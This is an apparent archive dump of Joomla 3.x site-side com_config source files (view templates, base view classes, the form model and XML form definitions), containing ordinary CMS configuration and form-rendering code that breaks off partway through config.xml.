 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="form-horizontal">
	<legend><?php echo JText::_('COM_CONFIG_SEO_SETTINGS'); ?></legend>
	<?php
	foreach ($this->form->getFieldset('seo') as $field) :
	?>
		<div class="control-group">
			<div class="control-label"><?php echo $field->label; ?></div>
			<div class="controls"><?php echo $field->input; ?></div>
		</div>
	<?php
	endforeach;
	?>
</fieldset>
com_config/view/modules/html.php000060400000001427152453734460012763 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a module.
 *
 * @package     Joomla.Site
 * @subpackage  com_config
 * @since       3.2
 */
class ConfigViewModulesHtml extends ConfigViewCmsHtml
{
	public $item;

	public $form;

	/**
	 * Display the view
	 *
	 * @return  string  The rendered view.
	 *
	 * @since   3.2
	 */
	public function render()
	{
		$lang = JFactory::getApplication()->getLanguage();
		$lang->load('', JPATH_ADMINISTRATOR, $lang->getTag());
		$lang->load('com_modules', JPATH_ADMINISTRATOR, $lang->getTag());

		return parent::render();
	}
}
com_config/view/modules/tmpl/default_positions.php000060400000001521152453734460016521 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
$positions = $this->model->getPositions();

// Add custom position to options
$customGroupText = JText::_('COM_MODULES_CUSTOM_POSITION');

// Build field
$attr = array(
	'id'          => 'jform_position',
	'list.select' => $this->item['position'],
	'list.attr'   => 'class="chzn-custom-value" '
		. 'data-custom_group_text="' . $customGroupText . '" '
		. 'data-no_results_text="' . JText::_('COM_MODULES_ADD_CUSTOM_POSITION') . '" '
		. 'data-placeholder="' . JText::_('COM_MODULES_TYPE_OR_SELECT_POSITION') . '" '
);

echo JHtml::_('select.groupedlist', $positions, 'jform[position]', $attr);
com_config/view/modules/tmpl/default_options.php000060400000002636152453734460016175 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$fieldSets = $this->form->getFieldsets('params');

echo JHtml::_('bootstrap.startAccordion', 'collapseTypes');
$i = 0;

foreach ($fieldSets as $name => $fieldSet) :

$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_' . $name . '_FIELDSET_LABEL';
$class = isset($fieldSet->class) && !empty($fieldSet->class) ? $fieldSet->class : '';


if (isset($fieldSet->description) && trim($fieldSet->description)) :
echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
endif;
?>
<?php echo JHtml::_('bootstrap.addSlide', 'collapseTypes', JText::_($label), 'collapse' . ($i++)); ?>

<ul class="nav nav-tabs nav-stacked">
<?php foreach ($this->form->getFieldset($name) as $field) : ?>

	<li>
		<?php // If multi-language site, make menu-type selection read-only ?>
		<?php if (JLanguageMultilang::isEnabled() && $this->item['module'] === 'mod_menu' && $field->getAttribute('name') === 'menutype') : ?>
			<?php $field->readonly = true; ?>
		<?php endif; ?>
		<?php echo $field->renderField(); ?>
	</li>

<?php endforeach; ?>
</ul>

<?php echo JHtml::_('bootstrap.endSlide'); ?>
<?php endforeach; ?>
<?php echo JHtml::_('bootstrap.endAccordion'); ?>
com_config/view/modules/tmpl/default.php000060400000014044152453734460014416 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.combobox');
JHtml::_('formbehavior.chosen', 'select');

jimport('joomla.filesystem.file');

$editorText  = false;
$moduleXml   = JPATH_SITE . '/modules/' . $this->item['module'] . '/' . $this->item['module'] . '.xml';

if (JFile::exists($moduleXml))
{
	$xml = simplexml_load_file($moduleXml);

	if (isset($xml->customContent))
	{
		$editorText = true;
	}
}

// If multi-language site, make language read-only
if (JLanguageMultilang::isEnabled())
{
	$this->form->setFieldAttribute('language', 'readonly', 'true');
}

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'config.cancel.modules' || document.formvalidator.isValid(document.getElementById('modules-form')))
		{
			Joomla.submitform(task, document.getElementById('modules-form'));
		}
	}
");
?>

<form
	action="<?php echo JRoute::_('index.php?option=com_config'); ?>"
	method="post" name="adminForm" id="modules-form"
	class="form-validate">

	<div class="row-fluid">

		<!-- Begin Content -->
		<div class="span12">

			<div class="btn-toolbar" role="toolbar" aria-label="<?php echo JText::_('JTOOLBAR'); ?>">
				<div class="btn-group">
					<button type="button" class="btn btn-primary"
						onclick="Joomla.submitbutton('config.save.modules.apply')">
						<span class="icon-apply" aria-hidden="true"></span>
						<?php echo JText::_('JAPPLY'); ?>
					</button>
				</div>
				<div class="btn-group">
					<button type="button" class="btn"
						onclick="Joomla.submitbutton('config.save.modules.save')">
						<span class="icon-save" aria-hidden="true"></span>
						<?php echo JText::_('JSAVE'); ?>
					</button>
				</div>
				<div class="btn-group">
					<button type="button" class="btn"
						onclick="Joomla.submitbutton('config.cancel.modules')">
						<span class="icon-cancel" aria-hidden="true"></span>
						<?php echo JText::_('JCANCEL'); ?>
					</button>
				</div>
			</div>

			<hr class="hr-condensed" />

			<legend><?php echo JText::_('COM_CONFIG_MODULES_SETTINGS_TITLE'); ?></legend>

			<div>
				<?php echo JText::_('COM_CONFIG_MODULES_MODULE_NAME'); ?>
				<span class="label label-default"><?php echo $this->item['title']; ?></span>
				&nbsp;&nbsp;
				<?php echo JText::_('COM_CONFIG_MODULES_MODULE_TYPE'); ?>
				<span class="label label-default"><?php echo $this->item['module']; ?></span>
			</div>
			<hr />

			<div class="row-fluid">
				<div class="span12">
					<fieldset class="form-horizontal">
						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('title'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('title'); ?>
							</div>
						</div>
						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('showtitle'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('showtitle'); ?>
							</div>
						</div>
						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('position'); ?>
							</div>
							<div class="controls">
								<?php echo $this->loadTemplate('positions'); ?>
							</div>
						</div>

						<hr />

						<?php if (JFactory::getUser()->authorise('core.edit.state', 'com_modules.module.' . $this->item['id'])) : ?>
						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('published'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('published'); ?>
							</div>
						</div>
						<?php endif ?>

						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('publish_up'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('publish_up'); ?>
							</div>
						</div>
						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('publish_down'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('publish_down'); ?>
							</div>
						</div>

						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('access'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('access'); ?>
							</div>
						</div>
						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('ordering'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('ordering'); ?>
							</div>
						</div>

						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('language'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('language'); ?>
							</div>
						</div>
						<div class="control-group">
							<div class="control-label">
								<?php echo $this->form->getLabel('note'); ?>
							</div>
							<div class="controls">
								<?php echo $this->form->getInput('note'); ?>
							</div>
						</div>

						<hr />

						<div id="options">
							<?php echo $this->loadTemplate('options'); ?>
						</div>

						<?php if ($editorText) : ?>
							<div class="tab-pane" id="custom">
								<?php echo $this->form->getInput('content'); ?>
							</div>
						<?php endif; ?>
					</fieldset>
				</div>

				<input type="hidden" name="id" value="<?php echo $this->item['id']; ?>" />
				<input type="hidden" name="return" value="<?php echo JFactory::getApplication()->input->get('return', null, 'base64'); ?>" />
				<input type="hidden" name="task" value="" />
				<?php echo JHtml::_('form.token'); ?>

			</div>

		</div>
		<!-- End Content -->
	</div>

</form>
com_config/view/templates/tmpl/default.php000060400000003341152453734460014742 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
$user = JFactory::getUser();

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'config.cancel' || document.formvalidator.isValid(document.getElementById('templates-form')))
		{
			Joomla.submitform(task, document.getElementById('templates-form'));
		}
	}
");
?>

<form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" method="post" name="adminForm" id="templates-form" class="form-validate">

	<div class="row-fluid">
		<!-- Begin Content -->

		<div class="btn-toolbar" role="toolbar" aria-label="<?php echo JText::_('JTOOLBAR'); ?>">
			<div class="btn-group">
				<button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('config.save.templates.apply')">
					<span class="icon-ok"></span> <?php echo JText::_('JSAVE') ?>
				</button>
			</div>
			<div class="btn-group">
				<button type="button" class="btn" onclick="Joomla.submitbutton('config.cancel')">
					<span class="icon-cancel"></span> <?php echo JText::_('JCANCEL') ?>
				</button>
			</div>
		</div>

		<hr class="hr-condensed" />

		<div id="page-site" class="tab-pane active">
			<div class="row-fluid">
				<?php // Get the menu parameters that are automatically set but may be modified.
				echo $this->loadTemplate('options'); ?>
			</div>
		</div>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>

		<!-- End Content -->
	</div>

</form>
com_config/view/templates/tmpl/default.xml000060400000000772152453734460014760 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_TITLE" option="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_DISPLAY_TEMPLATE_OPTIONS"
		/>
		<message>
			<![CDATA[COM_CONFIG_TEMPLATES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request" >
			<field 
				name="controller" 
				type="hidden"
				default="config.display.templates"
			/>
		</fieldset>
	</fields>
</metadata>com_config/view/templates/tmpl/default_options.php000060400000002172152453734460016516 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Load chosen.css
JHtml::_('formbehavior.chosen', 'select');

?>
<?php

	$fieldSets = $this->form->getFieldsets('params');
?>

<legend><?php echo JText::_('COM_CONFIG_TEMPLATE_SETTINGS'); ?></legend>

<?php

	// Search for com_config field set
	if (!empty($fieldSets['com_config'])) : ?>

	<fieldset class="form-horizontal">
		<?php echo $this->form->renderFieldset('com_config'); ?>
	</fieldset>

<?php else :

	// Fall-back to display all in params
	foreach ($fieldSets as $name => $fieldSet) :
	$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CONFIG_' . $name . '_FIELDSET_LABEL';

	if (isset($fieldSet->description) && trim($fieldSet->description)) :
		echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
	endif;
	?>

<fieldset class="form-horizontal">
	<?php echo $this->form->renderFieldset($name); ?>
</fieldset>
	<?php endforeach;
	endif;
com_config/view/templates/html.php000060400000001230152453734460013301 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a template style.
 *
 * @since  3.2
 */
class ConfigViewTemplatesHtml extends ConfigViewCmsHtml
{
	public $item;

	public $form;

	/**
	 * Method to render the view.
	 *
	 * @return  string  The rendered view.
	 *
	 * @since   3.2
	 */
	public function render()
	{
		$user = JFactory::getUser();
		$this->userIsSuperAdmin = $user->authorise('core.admin');

		return parent::render();
	}
}
com_config/view/cms/html.php000060400000012437152453734460012100 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Prototype admin view.
 *
 * @since  3.2
 */
abstract class ConfigViewCmsHtml extends JViewHtml
{
	/**
	 * The output of the template script.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $_output = null;

	/**
	 * The name of the default template source file.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $_template = null;

	/**
	 * The set of search directories for resources (templates)
	 *
	 * @var    array
	 * @since  3.2
	 */
	protected $_path = array('template' => array(), 'helper' => array());

	/**
	 * Layout extension
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $_layoutExt = 'php';

	/**
	 * Method to instantiate the view.
	 *
	 * @param   JModel            $model  The model object.
	 * @param   SplPriorityQueue  $paths  The paths queue.
	 *
	 * @since   3.2
	 */
	public function __construct(JModel $model, SplPriorityQueue $paths = null)
	{
		$app = JFactory::getApplication();
		$component = JApplicationHelper::getComponentName();
		$component = preg_replace('/[^A-Z0-9_\.-]/i', '', $component);

		if (isset($paths))
		{
			$paths->insert(JPATH_THEMES . '/' . $app->getTemplate() . '/html/' . $component . '/' . $this->getName(), 2);
		}

		parent::__construct($model, $paths);
	}

	/**
	 * Load a template file -- first look in the templates folder for an override
	 *
	 * @param   string  $tpl  The name of the template source file; automatically searches the template paths and compiles as needed.
	 *
	 * @return  string  The output of the the template script.
	 *
	 * @since   3.2
	 * @throws  Exception
	 */
	public function loadTemplate($tpl = null)
	{
		// Clear prior output
		$this->_output = null;

		$template = JFactory::getApplication()->getTemplate();
		$layout = $this->getLayout();

		// Create the template file name based on the layout
		$file = isset($tpl) ? $layout . '_' . $tpl : $layout;

		// Clean the file name
		$file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file);
		$tpl = isset($tpl) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl) : $tpl;

		// Load the language file for the template
		$lang = JFactory::getLanguage();
		$lang->load('tpl_' . $template, JPATH_BASE, null, false, true)
		|| $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", null, false, true);

		// Prevents adding path twise
		if (empty($this->_path['template']))
		{
			// Adding template paths
			$this->paths->top();
			$defaultPath = $this->paths->current();
			$this->paths->next();
			$templatePath = $this->paths->current();
			$this->_path['template'] = array($defaultPath, $templatePath);
		}

		// Load the template script
		jimport('joomla.filesystem.path');
		$filetofind = $this->_createFileName('template', array('name' => $file));
		$this->_template = JPath::find($this->_path['template'], $filetofind);

		// If alternate layout can't be found, fall back to default layout
		if ($this->_template == false)
		{
			$filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl)));
			$this->_template = JPath::find($this->_path['template'], $filetofind);
		}

		if ($this->_template != false)
		{
			// Unset so as not to introduce into template scope
			unset($tpl, $file);

			// Never allow a 'this' property
			if (isset($this->this))
			{
				unset($this->this);
			}

			// Start capturing output into a buffer
			ob_start();

			// Include the requested template filename in the local scope
			// (this will execute the view logic).
			include $this->_template;

			// Done with the requested template; get the buffer and
			// clear it.
			$this->_output = ob_get_contents();
			ob_end_clean();

			return $this->_output;
		}
		else
		{
			throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $file), 500);
		}
	}

	/**
	 * Create the filename for a resource
	 *
	 * @param   string  $type   The resource type to create the filename for
	 * @param   array   $parts  An associative array of filename information
	 *
	 * @return  string  The filename
	 *
	 * @since   3.2
	 */
	protected function _createFileName($type, $parts = array())
	{
		switch ($type)
		{
			case 'template':
				$filename = strtolower($parts['name']) . '.' . $this->_layoutExt;
				break;

			default:
				$filename = strtolower($parts['name']) . '.php';
				break;
		}

		return $filename;
	}

	/**
	 * Method to get the view name
	 *
	 * The model name by default parsed using the classname, or it can be set
	 * by passing a $config['name'] in the class constructor
	 *
	 * @return  string  The name of the model
	 *
	 * @since   3.2
	 * @throws  Exception
	 */
	public function getName()
	{
		if (empty($this->_name))
		{
			$classname = get_class($this);
			$viewpos = strpos($classname, 'View');

			if ($viewpos === false)
			{
				throw new Exception(JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME'), 500);
			}

			$lastPart = substr($classname, $viewpos + 4);
			$pathParts = explode(' ', JStringNormalise::fromCamelCase($lastPart));

			if (!empty($pathParts[1]))
			{
				$this->_name = strtolower($pathParts[0]);
			}
			else
			{
				$this->_name = strtolower($lastPart);
			}
		}

		return $this->_name;
	}
}
com_config/view/cms/json.php000060400000001151152453734460012074 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Prototype admin view.
 *
 * @since  3.2
 */
abstract class ConfigViewCmsJson extends ConfigViewCmsHtml
{
	public $state;

	public $data;

	/**
	 * Method to render the view.
	 *
	 * @return  string  The rendered view.
	 *
	 * @since   3.2
	 */
	public function render()
	{
		$this->data = $this->model->getData();

		return json_encode($this->data);
	}
}
com_config/model/form.php000060400000021104152453734460011432 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Prototype form model.
 *
 * @see    JForm
 * @see    JFormField
 * @see    JFormRule
 * @since  3.2
 */
abstract class ConfigModelForm extends ConfigModelCms
{
	/**
	 * Array of form objects.
	 *
	 * @var    array
	 * @since  3.2
	 */
	protected $forms = array();

	/**
	 * Method to checkin a row.
	 *
	 * @param   integer  $pk  The numeric id of the primary key.
	 *
	 * @return  boolean  False on failure or error, true otherwise.
	 *
	 * @since   3.2
	 * @throws  RuntimeException
	 */
	public function checkin($pk = null)
	{
		// Only attempt to check the row in if it exists.
		if ($pk)
		{
			$user = JFactory::getUser();

			// Get an instance of the row to checkin.
			$table = $this->getTable();

			if (!$table->load($pk))
			{
				throw new RuntimeException($table->getError());
			}

			// Check if this is the user has previously checked out the row.
			if ($table->checked_out > 0 && $table->checked_out != $user->get('id') && !$user->authorise('core.admin', 'com_checkin'))
			{
				throw new RuntimeException($table->getError());
			}

			// Attempt to check the row in.
			if (!$table->checkin($pk))
			{
				throw new RuntimeException($table->getError());
			}
		}

		return true;
	}

	/**
	 * Method to check-out a row for editing.
	 *
	 * @param   integer  $pk  The numeric id of the primary key.
	 *
	 * @return  boolean  False on failure or error, true otherwise.
	 *
	 * @since   3.2
	 */
	public function checkout($pk = null)
	{
		// Only attempt to check the row in if it exists.
		if ($pk)
		{
			$user = JFactory::getUser();

			// Get an instance of the row to checkout.
			$table = $this->getTable();

			if (!$table->load($pk))
			{
				throw new RuntimeException($table->getError());
			}

			// Check if this is the user having previously checked out the row.
			if ($table->checked_out > 0 && $table->checked_out != $user->get('id'))
			{
				throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH'));
			}

			// Attempt to check the row out.
			if (!$table->checkout($user->get('id'), $pk))
			{
				throw new RuntimeException($table->getError());
			}
		}

		return true;
	}

	/**
	 * Abstract method for getting the form from the model.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   3.2
	 */
	abstract public function getForm($data = array(), $loadData = true);

	/**
	 * Method to get a form object.
	 *
	 * @param   string   $name     The name of the form.
	 * @param   string   $source   The form source. Can be XML string if file flag is set to false.
	 * @param   array    $options  Optional array of options for the form creation.
	 * @param   boolean  $clear    Optional argument to force load a new form.
	 * @param   string   $xpath    An optional xpath to search for the fields.
	 *
	 * @return  mixed  JForm object on success, False on error.
	 *
	 * @see     JForm
	 * @since   3.2
	 */
	protected function loadForm($name, $source = null, $options = array(), $clear = false, $xpath = false)
	{
		// Handle the optional arguments.
		$options['control'] = ArrayHelper::getValue($options, 'control', false);

		// Create a signature hash.
		$hash = sha1($source . serialize($options));

		// Check if we can use a previously loaded form.
		if (isset($this->_forms[$hash]) && !$clear)
		{
			return $this->_forms[$hash];
		}

		// Get the form.
		// Register the paths for the form -- failing here
		$paths = new SplPriorityQueue;
		$paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/model/form', 'normal');
		$paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/model/field', 'normal');
		$paths->insert(JPATH_COMPONENT . '/model/form', 'normal');
		$paths->insert(JPATH_COMPONENT . '/model/field', 'normal');
		$paths->insert(JPATH_COMPONENT . '/model/rule', 'normal');

		// Legacy support to be removed in 4.0.  -- failing here
		$paths->insert(JPATH_COMPONENT . '/models/forms', 'normal');
		$paths->insert(JPATH_COMPONENT . '/models/fields', 'normal');
		$paths->insert(JPATH_COMPONENT . '/models/rules', 'normal');

		// Solution until JForm supports splqueue
		JForm::addFormPath(JPATH_COMPONENT . '/models/forms');
		JForm::addFieldPath(JPATH_COMPONENT . '/models/fields');
		JForm::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/model/form');
		JForm::addFieldPath(JPATH_COMPONENT_ADMINISTRATOR . '/model/field');
		JForm::addFormPath(JPATH_COMPONENT . '/model/form');
		JForm::addFieldPath(JPATH_COMPONENT . '/model/field');

		try
		{
			$form = JForm::getInstance($name, $source, $options, false, $xpath);

			if (isset($options['load_data']) && $options['load_data'])
			{
				// Get the data for the form.
				$data = $this->loadFormData();
			}
			else
			{
				$data = array();
			}

			// Allow for additional modification of the form, and events to be triggered.
			// We pass the data because plugins may require it.
			$this->preprocessForm($form, $data);

			// Load the data into the form after the plugins have operated.
			$form->bind($data);
		}
		catch (Exception $e)
		{
			JFactory::getApplication()->enqueueMessage($e->getMessage());

			return false;
		}

		// Store the form for later.
		$this->_forms[$hash] = $form;

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  array    The default data is an empty array.
	 *
	 * @since   3.2
	 */
	protected function loadFormData()
	{
		return array();
	}

	/**
	 * Method to allow derived classes to preprocess the data.
	 *
	 * @param   string  $context  The context identifier.
	 * @param   mixed   &$data    The data to be processed. It gets altered directly.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function preprocessData($context, &$data)
	{
		// Get the dispatcher and load the users plugins.
		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('content');

		// Trigger the data preparation event.
		$results = $dispatcher->trigger('onContentPrepareData', array($context, $data));

		// Check for errors encountered while preparing the data.
		if (count($results) > 0 && in_array(false, $results, true))
		{
			JFactory::getApplication()->enqueueMessage($dispatcher->getError(), 'error');
		}
	}

	/**
	 * Method to allow derived classes to preprocess the form.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @see     JFormField
	 * @since   3.2
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		// Import the appropriate plugin group.
		JPluginHelper::importPlugin($group);

		// Get the dispatcher.
		$dispatcher = JEventDispatcher::getInstance();

		// Trigger the form preparation event.
		$results = $dispatcher->trigger('onContentPrepareForm', array($form, $data));

		// Check for errors encountered while preparing the form.
		if (count($results) && in_array(false, $results, true))
		{
			// Get the last error.
			$error = $dispatcher->getError();

			if (!($error instanceof Exception))
			{
				throw new Exception($error);
			}
		}
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  mixed  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.2
	 */
	public function validate($form, $data, $group = null)
	{
		// Filter and validate the form data.
		$data   = $form->filter($data);
		$return = $form->validate($data, $group);

		// Check for an error.
		if ($return instanceof Exception)
		{
			JFactory::getApplication()->enqueueMessage($return->getMessage(), 'error');

			return false;
		}

		// Check the validation results.
		if ($return === false)
		{
			// Get the validation messages from the form.
			foreach ($form->getErrors() as $message)
			{
				if ($message instanceof Exception)
				{
					$message = $message->getMessage();
				}

				JFactory::getApplication()->enqueueMessage($message, 'error');
			}

			return false;
		}

		return $data;
	}
}
com_config/model/form/modules.xml000060400000005704152453734460013123 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field 
			name="id" 
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			readonly="true"
		/>

		<field
			name="title" 
			type="text"
			label="JGLOBAL_TITLE"
			description="COM_MODULES_FIELD_TITLE_DESC"
			maxlength="100"
			required="true"
			size="35"
		/>

		<field 
			name="note" 
			type="text"
			label="COM_MODULES_FIELD_NOTE_LABEL"
			description="COM_MODULES_FIELD_NOTE_DESC"
			maxlength="255"
			size="35"
		/>

		<field 
			name="module" 
			type="hidden"
			label="COM_MODULES_FIELD_MODULE_LABEL"
			description="COM_MODULES_FIELD_MODULE_DESC"
			readonly="readonly"
			size="20"
		/>

		<field 
			name="showtitle" 
			type="radio"
			label="COM_MODULES_FIELD_SHOWTITLE_LABEL"
			description="COM_MODULES_FIELD_SHOWTITLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			size="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="published" 
			type="radio"
			label="JSTATUS"
			description="COM_MODULES_FIELD_PUBLISHED_DESC"
			class="btn-group"
			default="1"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="publish_up"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_UP_LABEL"
			description="COM_MODULES_FIELD_PUBLISH_UP_DESC"
			filter="user_utc"
			class="input-medium"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_MODULES_FIELD_PUBLISH_DOWN_LABEL"
			description="COM_MODULES_FIELD_PUBLISH_DOWN_DESC"
			filter="user_utc"
			class="input-medium"
			translateformat="true"
			showtime="true"
			size="22"
		/>

		<field 
			name="client_id" 
			type="hidden"
			label="COM_MODULES_FIELD_CLIENT_ID_LABEL"
			description="COM_MODULES_FIELD_CLIENT_ID_DESC"
			readonly="true"
			size="1"
		/>

		<field 
			name="position" 
			type="moduleposition"
			label="COM_MODULES_FIELD_POSITION_LABEL"
			description="COM_MODULES_FIELD_POSITION_DESC"
			default=""
			maxlength="50"
		/>

		<field 
			name="access" 
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>

		<field 
			name="ordering" 
			type="moduleorder"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
		/>

		<field 
			name="content" 
			type="editor"
			label="COM_MODULES_FIELD_CONTENT_LABEL"
			description="COM_MODULES_FIELD_CONTENT_DESC"
			buttons="true"
			class="inputbox"
			filter="JComponentHelper::filterText"
			hide="readmore,pagebreak"
		/>

		<field 
			name="language" 
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="JFIELD_MODULE_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field name="assignment" type="hidden" />

		<field name="assigned" type="hidden" />
	</fieldset>
</form>
com_config/model/form/config.xml000060400000005261152453734460012716 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset
		name="metadata"
		label="COM_CONFIG_METADATA_SETTINGS">
		<field
			name="MetaDesc"
			type="textarea"
			label="COM_CONFIG_FIELD_METADESC_LABEL"
			description="COM_CONFIG_FIELD_METADESC_DESC"
			filter="string"
			cols="60"
			rows="3" 
		/>

		<field
			name="MetaKeys"
			type="textarea"
			label="COM_CONFIG_FIELD_METAKEYS_LABEL"
			description="COM_CONFIG_FIELD_METAKEYS_DESC"
			filter="string"
			cols="60"
			rows="3" 
		/>

		<field
			name="MetaRights"
			type="textarea"
			label="JFIELD_META_RIGHTS_LABEL"
			description="JFIELD_META_RIGHTS_DESC"
			filter="string"
			cols="60"
			rows="2"
		/>

	</fieldset>

	<fieldset
		name="seo"
		label="CONFIG_SEO_SETTINGS_LABEL">
		<field
			name="sef"
			type="radio"
			label="COM_CONFIG_FIELD_SEF_URL_LABEL"
